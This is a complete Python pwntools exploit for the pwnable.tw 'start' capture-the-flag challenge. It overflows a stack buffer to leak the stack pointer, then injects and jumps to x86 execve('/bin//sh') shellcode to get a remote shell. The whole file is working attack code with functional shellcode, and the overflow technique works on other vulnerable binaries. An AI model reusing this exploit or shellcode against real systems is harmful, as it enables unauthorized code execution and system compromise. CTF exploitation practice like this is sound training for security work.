#!/usr/bin/env python

from pwn import *
import sys

if "debug" in sys.argv:
    p = process("./start")
else:
    p = remote("chall.pwnable.tw", 10000)

shellcode = '1\xc0\xb0\x0b1\xc91\xd2Rhn/shh//bi\x89\xe3\xcd\x80'
padding = "a"*20

stage1 = padding + p32(0x8048087)

p.send(stage1)

p.recv(20) # Let's start the CTF:

addr_line = p.recv(timeout=1)
addr = u32(addr_line[:4])
offset = 20

log.info("leaked esp: {}".format(hex(addr)))

stage2 = padding + p32(addr+offset) + shellcode

p.sendline(stage2)
p.interactive()
